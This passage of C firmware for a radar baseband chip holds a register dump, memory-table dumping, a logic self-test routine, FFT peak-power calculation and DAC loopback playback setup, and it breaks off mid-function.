EMBARC_PRINTF("BB_REG_DOA_GRP0_SIZ_STP_AML_CRS 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_SIZ_STP_AML_CRS, BB_READ_REG(bb_hw, DOA_GRP0_SIZ_STP_AML_CRS));
EMBARC_PRINTF("BB_REG_DOA_GRP0_SIZ_STP_AML_RFD 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_SIZ_STP_AML_RFD, BB_READ_REG(bb_hw, DOA_GRP0_SIZ_STP_AML_RFD));
EMBARC_PRINTF("BB_REG_DOA_GRP0_SCL_REM_0 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_SCL_REM_0 , BB_READ_REG(bb_hw, DOA_GRP0_SCL_REM_0 ));
EMBARC_PRINTF("BB_REG_DOA_GRP0_SCL_REM_1 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_SCL_REM_1 , BB_READ_REG(bb_hw, DOA_GRP0_SCL_REM_1 ));
EMBARC_PRINTF("BB_REG_DOA_GRP0_SCL_REM_2 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_SCL_REM_2 , BB_READ_REG(bb_hw, DOA_GRP0_SCL_REM_2 ));
EMBARC_PRINTF("BB_REG_DOA_GRP0_ENA_NEI 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_ENA_NEI , BB_READ_REG(bb_hw, DOA_GRP0_ENA_NEI ));
EMBARC_PRINTF("BB_REG_DOA_GRP0_SIZ_SUB 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_SIZ_SUB , BB_READ_REG(bb_hw, DOA_GRP0_SIZ_SUB ));
EMBARC_PRINTF("BB_REG_DOA_GRP0_TYP_SMO 0x%x 0x%08x\n\r", BB_REG_DOA_GRP0_TYP_SMO , BB_READ_REG(bb_hw, DOA_GRP0_TYP_SMO ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_TYP_SCH 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_TYP_SCH , BB_READ_REG(bb_hw, DOA_GRP1_TYP_SCH ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_MOD_SCH 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_MOD_SCH , BB_READ_REG(bb_hw, DOA_GRP1_MOD_SCH ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_NUM_SCH 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_NUM_SCH , BB_READ_REG(bb_hw, DOA_GRP1_NUM_SCH ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_ADR_COE 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_ADR_COE , BB_READ_REG(bb_hw, DOA_GRP1_ADR_COE ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_SIZ_ONE_ANG 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_SIZ_ONE_ANG , BB_READ_REG(bb_hw, DOA_GRP1_SIZ_ONE_ANG ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_SIZ_RNG_PKS_CRS 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_SIZ_RNG_PKS_CRS, BB_READ_REG(bb_hw, DOA_GRP1_SIZ_RNG_PKS_CRS));
EMBARC_PRINTF("BB_REG_DOA_GRP1_SIZ_STP_PKS_CRS 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_SIZ_STP_PKS_CRS, BB_READ_REG(bb_hw, DOA_GRP1_SIZ_STP_PKS_CRS));
EMBARC_PRINTF("BB_REG_DOA_GRP1_SIZ_RNG_PKS_RFD 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_SIZ_RNG_PKS_RFD, BB_READ_REG(bb_hw, DOA_GRP1_SIZ_RNG_PKS_RFD));
EMBARC_PRINTF("BB_REG_DOA_GRP1_SIZ_CMB 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_SIZ_CMB , BB_READ_REG(bb_hw, DOA_GRP1_SIZ_CMB ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_DAT_IDX_0 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_DAT_IDX_0 , BB_READ_REG(bb_hw, DOA_GRP1_DAT_IDX_0 ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_DAT_IDX_1 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_DAT_IDX_1 , BB_READ_REG(bb_hw, DOA_GRP1_DAT_IDX_1 ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_DAT_IDX_2 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_DAT_IDX_2 , BB_READ_REG(bb_hw, DOA_GRP1_DAT_IDX_2 ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_DAT_IDX_3 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_DAT_IDX_3 , BB_READ_REG(bb_hw, DOA_GRP1_DAT_IDX_3 ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_DAT_IDX_4 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_DAT_IDX_4 , BB_READ_REG(bb_hw, DOA_GRP1_DAT_IDX_4 ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_DAT_IDX_5 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_DAT_IDX_5 , BB_READ_REG(bb_hw, DOA_GRP1_DAT_IDX_5 ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_DAT_IDX_6 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_DAT_IDX_6 , BB_READ_REG(bb_hw, DOA_GRP1_DAT_IDX_6 ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_DAT_IDX_7 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_DAT_IDX_7 , BB_READ_REG(bb_hw, DOA_GRP1_DAT_IDX_7 ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_SIZ_WIN 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_SIZ_WIN , BB_READ_REG(bb_hw, DOA_GRP1_SIZ_WIN ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_THR_SNR_0 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_THR_SNR_0 , BB_READ_REG(bb_hw, DOA_GRP1_THR_SNR_0 ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_THR_SNR_1 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_THR_SNR_1 , BB_READ_REG(bb_hw, DOA_GRP1_THR_SNR_1 ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_SCL_POW 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_SCL_POW , BB_READ_REG(bb_hw, DOA_GRP1_SCL_POW ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_SCL_NOI_0 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_SCL_NOI_0 , BB_READ_REG(bb_hw, DOA_GRP1_SCL_NOI_0 ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_SCL_NOI_1 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_SCL_NOI_1 , BB_READ_REG(bb_hw, DOA_GRP1_SCL_NOI_1 ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_SCL_NOI_2 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_SCL_NOI_2 , BB_READ_REG(bb_hw, DOA_GRP1_SCL_NOI_2 ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_TST_POW 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_TST_POW , BB_READ_REG(bb_hw, DOA_GRP1_TST_POW ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_SIZ_RNG_AML 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_SIZ_RNG_AML , BB_READ_REG(bb_hw, DOA_GRP1_SIZ_RNG_AML ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_SIZ_STP_AML_CRS 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_SIZ_STP_AML_CRS, BB_READ_REG(bb_hw, DOA_GRP1_SIZ_STP_AML_CRS));
EMBARC_PRINTF("BB_REG_DOA_GRP1_SIZ_STP_AML_RFD 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_SIZ_STP_AML_RFD, BB_READ_REG(bb_hw, DOA_GRP1_SIZ_STP_AML_RFD));
EMBARC_PRINTF("BB_REG_DOA_GRP1_SCL_REM_0 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_SCL_REM_0 , BB_READ_REG(bb_hw, DOA_GRP1_SCL_REM_0 ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_SCL_REM_1 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_SCL_REM_1 , BB_READ_REG(bb_hw, DOA_GRP1_SCL_REM_1 ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_SCL_REM_2 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_SCL_REM_2 , BB_READ_REG(bb_hw, DOA_GRP1_SCL_REM_2 ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_ENA_NEI 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_ENA_NEI , BB_READ_REG(bb_hw, DOA_GRP1_ENA_NEI ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_SIZ_SUB 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_SIZ_SUB , BB_READ_REG(bb_hw, DOA_GRP1_SIZ_SUB ));
EMBARC_PRINTF("BB_REG_DOA_GRP1_TYP_SMO 0x%x 0x%08x\n\r", BB_REG_DOA_GRP1_TYP_SMO , BB_READ_REG(bb_hw, DOA_GRP1_TYP_SMO ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_TYP_SCH 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_TYP_SCH , BB_READ_REG(bb_hw, DOA_GRP2_TYP_SCH ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_MOD_SCH 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_MOD_SCH , BB_READ_REG(bb_hw, DOA_GRP2_MOD_SCH ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_NUM_SCH 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_NUM_SCH , BB_READ_REG(bb_hw, DOA_GRP2_NUM_SCH ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_ADR_COE 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_ADR_COE , BB_READ_REG(bb_hw, DOA_GRP2_ADR_COE ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_SIZ_ONE_ANG 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_SIZ_ONE_ANG , BB_READ_REG(bb_hw, DOA_GRP2_SIZ_ONE_ANG ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_SIZ_RNG_PKS_CRS 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_SIZ_RNG_PKS_CRS, BB_READ_REG(bb_hw, DOA_GRP2_SIZ_RNG_PKS_CRS));
EMBARC_PRINTF("BB_REG_DOA_GRP2_SIZ_STP_PKS_CRS 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_SIZ_STP_PKS_CRS, BB_READ_REG(bb_hw, DOA_GRP2_SIZ_STP_PKS_CRS));
EMBARC_PRINTF("BB_REG_DOA_GRP2_SIZ_RNG_PKS_RFD 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_SIZ_RNG_PKS_RFD, BB_READ_REG(bb_hw, DOA_GRP2_SIZ_RNG_PKS_RFD));
EMBARC_PRINTF("BB_REG_DOA_GRP2_SIZ_CMB 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_SIZ_CMB , BB_READ_REG(bb_hw, DOA_GRP2_SIZ_CMB ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_DAT_IDX_0 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_DAT_IDX_0 , BB_READ_REG(bb_hw, DOA_GRP2_DAT_IDX_0 ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_DAT_IDX_1 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_DAT_IDX_1 , BB_READ_REG(bb_hw, DOA_GRP2_DAT_IDX_1 ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_DAT_IDX_2 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_DAT_IDX_2 , BB_READ_REG(bb_hw, DOA_GRP2_DAT_IDX_2 ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_DAT_IDX_3 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_DAT_IDX_3 , BB_READ_REG(bb_hw, DOA_GRP2_DAT_IDX_3 ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_DAT_IDX_4 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_DAT_IDX_4 , BB_READ_REG(bb_hw, DOA_GRP2_DAT_IDX_4 ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_DAT_IDX_5 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_DAT_IDX_5 , BB_READ_REG(bb_hw, DOA_GRP2_DAT_IDX_5 ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_DAT_IDX_6 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_DAT_IDX_6 , BB_READ_REG(bb_hw, DOA_GRP2_DAT_IDX_6 ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_DAT_IDX_7 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_DAT_IDX_7 , BB_READ_REG(bb_hw, DOA_GRP2_DAT_IDX_7 ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_SIZ_WIN 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_SIZ_WIN , BB_READ_REG(bb_hw, DOA_GRP2_SIZ_WIN ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_THR_SNR_0 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_THR_SNR_0 , BB_READ_REG(bb_hw, DOA_GRP2_THR_SNR_0 ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_THR_SNR_1 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_THR_SNR_1 , BB_READ_REG(bb_hw, DOA_GRP2_THR_SNR_1 ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_SCL_POW 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_SCL_POW , BB_READ_REG(bb_hw, DOA_GRP2_SCL_POW ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_SCL_NOI_0 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_SCL_NOI_0 , BB_READ_REG(bb_hw, DOA_GRP2_SCL_NOI_0 ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_SCL_NOI_1 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_SCL_NOI_1 , BB_READ_REG(bb_hw, DOA_GRP2_SCL_NOI_1 ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_SCL_NOI_2 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_SCL_NOI_2 , BB_READ_REG(bb_hw, DOA_GRP2_SCL_NOI_2 ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_TST_POW 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_TST_POW , BB_READ_REG(bb_hw, DOA_GRP2_TST_POW ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_SIZ_RNG_AML 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_SIZ_RNG_AML , BB_READ_REG(bb_hw, DOA_GRP2_SIZ_RNG_AML ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_SIZ_STP_AML_CRS 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_SIZ_STP_AML_CRS, BB_READ_REG(bb_hw, DOA_GRP2_SIZ_STP_AML_CRS));
EMBARC_PRINTF("BB_REG_DOA_GRP2_SIZ_STP_AML_RFD 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_SIZ_STP_AML_RFD, BB_READ_REG(bb_hw, DOA_GRP2_SIZ_STP_AML_RFD));
EMBARC_PRINTF("BB_REG_DOA_GRP2_SCL_REM_0 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_SCL_REM_0 , BB_READ_REG(bb_hw, DOA_GRP2_SCL_REM_0 ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_SCL_REM_1 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_SCL_REM_1 , BB_READ_REG(bb_hw, DOA_GRP2_SCL_REM_1 ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_SCL_REM_2 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_SCL_REM_2 , BB_READ_REG(bb_hw, DOA_GRP2_SCL_REM_2 ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_ENA_NEI 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_ENA_NEI , BB_READ_REG(bb_hw, DOA_GRP2_ENA_NEI ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_SIZ_SUB 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_SIZ_SUB , BB_READ_REG(bb_hw, DOA_GRP2_SIZ_SUB ));
EMBARC_PRINTF("BB_REG_DOA_GRP2_TYP_SMO 0x%x 0x%08x\n\r", BB_REG_DOA_GRP2_TYP_SMO , BB_READ_REG(bb_hw, DOA_GRP2_TYP_SMO ));
EMBARC_PRINTF("BB_REG_DOA_C2D1_ADR_COE 0x%x 0x%08x\n\r", BB_REG_DOA_C2D1_ADR_COE , BB_READ_REG(bb_hw, DOA_C2D1_ADR_COE ));
EMBARC_PRINTF("BB_REG_DOA_C2D1_SIZ_CMB 0x%x 0x%08x\n\r", BB_REG_DOA_C2D1_SIZ_CMB , BB_READ_REG(bb_hw, DOA_C2D1_SIZ_CMB ));
EMBARC_PRINTF("BB_REG_DOA_C2D2_ADR_COE 0x%x 0x%08x\n\r", BB_REG_DOA_C2D2_ADR_COE , BB_READ_REG(bb_hw, DOA_C2D2_ADR_COE ));
EMBARC_PRINTF("BB_REG_DOA_C2D2_SIZ_CMB 0x%x 0x%08x\n\r", BB_REG_DOA_C2D2_SIZ_CMB , BB_READ_REG(bb_hw, DOA_C2D2_SIZ_CMB ));
EMBARC_PRINTF("BB_REG_DOA_C2D3_ADR_COE 0x%x 0x%08x\n\r", BB_REG_DOA_C2D3_ADR_COE , BB_READ_REG(bb_hw, DOA_C2D3_ADR_COE ));
EMBARC_PRINTF("BB_REG_DOA_C2D3_SIZ_CMB 0x%x 0x%08x\n\r", BB_REG_DOA_C2D3_SIZ_CMB , BB_READ_REG(bb_hw, DOA_C2D3_SIZ_CMB ));
EMBARC_PRINTF("BB_REG_DBG_BUF_TAR 0x%x 0x%08x\n\r", BB_REG_DBG_BUF_TAR , BB_READ_REG(bb_hw, DBG_BUF_TAR ));
EMBARC_PRINTF("BB_REG_DBG_MAP_RLT 0x%x 0x%08x\n\r", BB_REG_DBG_MAP_RLT , BB_READ_REG(bb_hw, DBG_MAP_RLT ));
EMBARC_PRINTF("BB_REG_DBG_RFRSH_START 0x%x 0x%08x\n\r", BB_REG_DBG_RFRSH_START , BB_READ_REG(bb_hw, DBG_RFRSH_START ));
EMBARC_PRINTF("BB_REG_DBG_RFRSH_CLR 0x%x 0x%08x\n\r", BB_REG_DBG_RFRSH_CLR , BB_READ_REG(bb_hw, DBG_RFRSH_CLR ));
EMBARC_PRINTF("BB_REG_DBG_RFRSH_STATUS 0x%x 0x%08x\n\r", BB_REG_DBG_RFRSH_STATUS , BB_READ_REG(bb_hw, DBG_RFRSH_STATUS ));
EMBARC_PRINTF("BB_REG_DML_GRP0_SV_STP 0x%x 0x%08x\n\r", BB_REG_DML_GRP0_SV_STP , BB_READ_REG(bb_hw, DML_GRP0_SV_STP ));
EMBARC_PRINTF("BB_REG_DML_GRP0_SV_START 0x%x 0x%08x\n\r", BB_REG_DML_GRP0_SV_START , BB_READ_REG(bb_hw, DML_GRP0_SV_START ));
EMBARC_PRINTF("BB_REG_DML_GRP0_SV_END 0x%x 0x%08x\n\r", BB_REG_DML_GRP0_SV_END , BB_READ_REG(bb_hw, DML_GRP0_SV_END ));
EMBARC_PRINTF("BB_REG_DML_GRP0_DC_COE_0 0x%x 0x%08x\n\r", BB_REG_DML_GRP0_DC_COE_0 , BB_READ_REG(bb_hw, DML_GRP0_DC_COE_0 ));
EMBARC_PRINTF("BB_REG_DML_GRP0_DC_COE_1 0x%x 0x%08x\n\r", BB_REG_DML_GRP0_DC_COE_1 , BB_READ_REG(bb_hw, DML_GRP0_DC_COE_1 ));
EMBARC_PRINTF("BB_REG_DML_GRP0_DC_COE_2 0x%x 0x%08x\n\r", BB_REG_DML_GRP0_DC_COE_2 , BB_READ_REG(bb_hw, DML_GRP0_DC_COE_2 ));
EMBARC_PRINTF("BB_REG_DML_GRP0_DC_COE_3 0x%x 0x%08x\n\r", BB_REG_DML_GRP0_DC_COE_3 , BB_READ_REG(bb_hw, DML_GRP0_DC_COE_3 ));
EMBARC_PRINTF("BB_REG_DML_GRP0_DC_COE_4 0x%x 0x%08x\n\r", BB_REG_DML_GRP0_DC_COE_4 , BB_READ_REG(bb_hw, DML_GRP0_DC_COE_4 ));
EMBARC_PRINTF("BB_REG_DML_GRP0_EXTRA_EN 0x%x 0x%08x\n\r", BB_REG_DML_GRP0_EXTRA_EN , BB_READ_REG(bb_hw, DML_GRP0_EXTRA_EN ));
EMBARC_PRINTF("BB_REG_DML_GRP0_DC_COE_2_EN 0x%x 0x%08x\n\r", BB_REG_DML_GRP0_DC_COE_2_EN , BB_READ_REG(bb_hw, DML_GRP0_DC_COE_2_EN ));
EMBARC_PRINTF("BB_REG_DML_GRP1_SV_STP 0x%x 0x%08x\n\r", BB_REG_DML_GRP1_SV_STP , BB_READ_REG(bb_hw, DML_GRP1_SV_STP ));
EMBARC_PRINTF("BB_REG_DML_GRP1_SV_START 0x%x 0x%08x\n\r", BB_REG_DML_GRP1_SV_START , BB_READ_REG(bb_hw, DML_GRP1_SV_START ));
EMBARC_PRINTF("BB_REG_DML_GRP1_SV_END 0x%x 0x%08x\n\r", BB_REG_DML_GRP1_SV_END , BB_READ_REG(bb_hw, DML_GRP1_SV_END ));
EMBARC_PRINTF("BB_REG_DML_GRP1_DC_COE_0 0x%x 0x%08x\n\r", BB_REG_DML_GRP1_DC_COE_0 , BB_READ_REG(bb_hw, DML_GRP1_DC_COE_0 ));
EMBARC_PRINTF("BB_REG_DML_GRP1_DC_COE_1 0x%x 0x%08x\n\r", BB_REG_DML_GRP1_DC_COE_1 , BB_READ_REG(bb_hw, DML_GRP1_DC_COE_1 ));
EMBARC_PRINTF("BB_REG_DML_GRP1_DC_COE_2 0x%x 0x%08x\n\r", BB_REG_DML_GRP1_DC_COE_2 , BB_READ_REG(bb_hw, DML_GRP1_DC_COE_2 ));
EMBARC_PRINTF("BB_REG_DML_GRP1_DC_COE_3 0x%x 0x%08x\n\r", BB_REG_DML_GRP1_DC_COE_3 , BB_READ_REG(bb_hw, DML_GRP1_DC_COE_3 ));
EMBARC_PRINTF("BB_REG_DML_GRP1_DC_COE_4 0x%x 0x%08x\n\r", BB_REG_DML_GRP1_DC_COE_4 , BB_READ_REG(bb_hw, DML_GRP1_DC_COE_4 ));
EMBARC_PRINTF("BB_REG_DML_GRP1_EXTRA_EN 0x%x 0x%08x\n\r", BB_REG_DML_GRP1_EXTRA_EN , BB_READ_REG(bb_hw, DML_GRP1_EXTRA_EN ));
EMBARC_PRINTF("BB_REG_DML_GRP1_DC_COE_2_EN 0x%x 0x%08x\n\r", BB_REG_DML_GRP1_DC_COE_2_EN , BB_READ_REG(bb_hw, DML_GRP1_DC_COE_2_EN ));
EMBARC_PRINTF("BB_REG_DML_MEM_BASE_ADR 0x%x 0x%08x\n\r", BB_REG_DML_MEM_BASE_ADR , BB_READ_REG(bb_hw, DML_MEM_BASE_ADR ));
}
void baseband_tbl_dump(baseband_hw_t *bb_hw, uint32_t tbl_id, uint32_t offset, uint32_t length)
{
uint32_t old = baseband_switch_mem_access(bb_hw, tbl_id);
int i;
uint32_t d;
for(i = 0; i < length; i++) {
d = baseband_read_mem_table(bb_hw, offset + i);
if (i % 4 == 0)
EMBARC_PRINTF("0x%05x: ", offset+i);
if (i % 4 != 3)
EMBARC_PRINTF("0x%08x, ", d);
else
EMBARC_PRINTF("0x%08x\n\r", d);
MDELAY(1); /* add delay to improve the validity of the serial data*/
}
baseband_switch_mem_access(bb_hw, old);
}
/* return true if bist success */
bool baseband_bist_ctrl(baseband_hw_t *bb_hw, bool print_ena)
{
uint8_t old_irq_mask = raw_readl(REL_REGBASE_DMU + REG_DMU_IRQ_ENA32_63_OFFSET);
dmu_irq_enable(INT_BB_DONE, 0); // irq mask disable
dmu_irq_enable(INT_BB_SAM, 0); // irq mask disable
bb_top_enable(0); // disable bb_top clock
// start BB_LBIST
EMU_WRITE_REG(bb_hw, BB_LBIST_CLR, 1);
EMU_WRITE_REG(bb_hw, BB_LBIST_ENA, 1);
if (print_ena == true)
EMBARC_PRINTF("BB_LBIST start, status = %x\n\r",EMU_READ_REG(bb_hw, LBIST_STA));
// FIXME, DONE signal always be true(bug in alps_mp), so using extra delay
MDELAY(BB_LBIST_DELAY); // wait for done
// query DONE signal
while (EMU_READ_REG_FEILD(bb_hw, LBIST_STA, DONE) == false) {
if (print_ena == true) {
EMBARC_PRINTF("BB_LBIST is running ...\n\r");
MDELAY(BB_LBIST_DELAY);
}
}
// query result
bool bist_result = EMU_READ_REG_FEILD(bb_hw, LBIST_STA, FAIL);
// reset bb
bb_core_reset(1); // reset bb_core
bb_core_reset(0); // deassert reset
bb_top_enable(1); // enable bb_top clock
BB_WRITE_REG(bb_hw, SYS_BNK_RST, 1); // reset bank
BB_WRITE_REG(bb_hw, SYS_IRQ_CLR, BB_IRQ_CLEAR_ALL); // clear irq status, which maybe asserted in bist
raw_writel(REL_REGBASE_DMU + REG_DMU_IRQ_ENA32_63_OFFSET, old_irq_mask); // restore irq mask
if (print_ena) {
EMBARC_PRINTF("BB_LBIST done, status = %x\n\r",EMU_READ_REG(bb_hw, LBIST_STA));
EMBARC_PRINTF("bb_status= %x\n\r",BB_READ_REG(bb_hw, SYS_STATUS));
EMBARC_PRINTF("bb_irq= %x\n\r",BB_READ_REG(bb_hw, SYS_IRQ_STATUS));
}
return (!bist_result); /* return ture if bist success */
}
/* peak_power should be an array with size 4 */
void baseband_fft_peak_calc(baseband_hw_t *bb_hw, float* peak_power, uint32_t fft_size)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
uint16_t peak_point = 0;
// find the FFT index near 5MHz
// adc_freq not in radio shadow bank, should be aligned with radio by using sensor_config_init0.hxx
uint16_t chk_bgn;
uint16_t fc_sin = ABIST_SIN_FREQ * fft_size / (cfg->adc_freq); // center frequency of sinewave
if (fc_sin < (ABIST_FFT_CHK_HLF + ABIST_FFT_CHK_MIN))
chk_bgn = ABIST_FFT_CHK_MIN;
else
chk_bgn = fc_sin - ABIST_FFT_CHK_HLF;
baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_BUF);
// search the peak
// since the sinewave is always 5MHz, so FFT peak search can be narrowed, here using ABIST_FFT_CHK_SIZE
for (uint8_t ch_index = 0; ch_index < ANT_NUM; ch_index++){
for (uint8_t i = 0; i < ABIST_FFT_CHK_SIZE; i++) {
uint16_t rng_index = chk_bgn + i;
if (rng_index > (fft_size/2 - 1))
break; // index out of range
uint32_t fft_mem = baseband_hw_get_fft_mem_abist(ch_index, rng_index, fft_size);
complex_t complex_fft = cfl_to_complex(fft_mem, 14, 14, true, 4, false);
float power = 10 * log10f(complex_fft.r * complex_fft.r + complex_fft.i * complex_fft.i);
// save the peak
if (i == 0) {
peak_power[ch_index] = power;
peak_point = rng_index;
}
else if (power > peak_power[ch_index]) {
peak_power[ch_index] = power;
peak_point = rng_index;
}
}
EMBARC_PRINTF("\tChannel %d, FFT1D peak = %2.5f dB\t index = %d\t freq = %2.3f MHz\n\r",
ch_index, peak_power[ch_index], peak_point, (float)(peak_point)*(cfg->adc_freq)/fft_size);
}
}
/* peak_power should be an array with size 4 */
void baseband_dac_playback(baseband_hw_t *bb_hw, bool inner_circle, uint8_t inject_num, uint8_t out_num, bool adc_dbg_en, float* peak_power)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
fmcw_radio_t* radio = &CONTAINER_OF(bb_hw, baseband_t, bb_hw)->radio;
/* config radio */
fmcw_radio_tx_ch_on(radio, -1, false); /* turn off tx */
if (inner_circle == true)
fmcw_radio_dac_reg_cfg_inner(radio, inject_num, out_num);
else
fmcw_radio_dac_reg_cfg_outer(radio); /* config analog DAC*/
fmcw_radio_loop_test_en(radio, true);
MDELAY(1); /* FIXME, delay for radio settle, time maybe shorter */
/* enter radio shadow bank */
fmcw_radio_loop_test_en(radio, true);
/* switch to shadow bank */
uint32_t old_bnk_act = baseband_switch_bnk_act(bb_hw, SHADOW_BNK);
uint32_t old_bnk_mode = baseband_switch_bnk_mode(bb_hw, SYS_BNK_MODE_SINGLE);
uint32_t fft_size = BB_READ_REG(NULL, SYS_SIZE_RNG_FFT) + 1;
/* start baseband */
uint16_t bb_status_en = SYS_ENA(SAM, true);
if (adc_dbg_en == true)
BB_WRITE_REG(bb_hw, SAM_SINKER, SAM_SINKER_BUF); /* sinker adc for debeg*/
baseband_start_with_params(cfg->bb, false, false, bb_status_en, false, BB_IRQ_ENABLE_SAM_DONE, false);
/* wait done */
while (baseband_hw_is_running(bb_hw) == false)
;
while (baseband_hw_is_running(bb_hw) == true)
;
if (adc_dbg_en == true) {
BB_WRITE_REG(bb_hw, SAM_SINKER, SAM_SINKER_FFT); /* restore to be sinker fft */
